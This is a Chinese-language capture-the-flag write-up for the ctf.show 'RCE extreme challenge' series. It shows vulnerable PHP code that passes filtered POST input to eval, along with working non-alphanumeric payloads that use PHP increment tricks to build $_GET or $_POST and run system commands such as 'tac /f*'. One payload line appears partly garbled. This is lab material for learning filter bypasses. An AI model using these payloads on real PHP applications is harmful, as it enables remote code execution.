RCE极限挑战1
直接echo加反引号,先ls再tac。
RCE极限挑战二
过滤的有点多。。。
没思路了,看了下某大佬的参考,第一次写自增绕过。
有个脚本可以看看能传哪些字符
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
原理在这篇文章。
【Web】无字母/数字/参RCE相关例题wp-----------csdn Z3r4y
“! $ ' ( ) + , . / ; = [ ] _”是可以传的字符
就是通过构造一个“Array_”字符串,再取那个“A”,通过自增构造出"G""E""T"三个字母,拼接"$""_""[_]"等字符从而高出个$_GET[]字符串来传参。最后payload:
$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
但是有个问题就是用max hackbar会被拦截,HackBar不会.
rce极限挑战三
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
还是自增绕过,payload长度做了限制。
自己在php里面写好,然后去掉换行
$_=(0/0)._;//得到NAN_,可以搞处POST这四个字母
$_=$_[0];
$__=++$_;
$_++;
$__=$_.$__;
$_++;$_++;$_++;
$__=$__.$_++;
$__=_.$__.$_;
$$__[0]($$__[1]);// 得到$_POST[0]($_POST[1]);
$_=(0/0)._;$_=$_[0];$__=++$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__=$__.$_++;$__=_.$__.$_;$$__[0]($$__[1]);&0=system&1=tac /f*
可以得到根目录。最后tac /f*即可。
rce极限挑战四
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
rce极限挑战4
比上题限制更多,长度是84以下,数字只能用0,本题和上题一样,bp传没用(反正我是这样),hackbar反而有用。
$_=(0/_._)[0];//得到N,//NAN代表“不是数字”
$__=++$_;//得到两个值为O的变量
$__=_.++$__.$_++;//_PO
$_++;$_++;//$_=R
$_=$__.++$_.++$_;//_POST
$$_[0]($$_[_]);//长度是82
ctf_show=$_=(0/_._)[0];$__=++$_;$=__.++$.$_++;$_++;$_++;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&=ls / 查看根目录发现flag,然后读取即可。
rce极限挑战五
将长度限制到了73,数字0也不可以用了
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
不是很会极限,还是参考官方答案吧。
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah。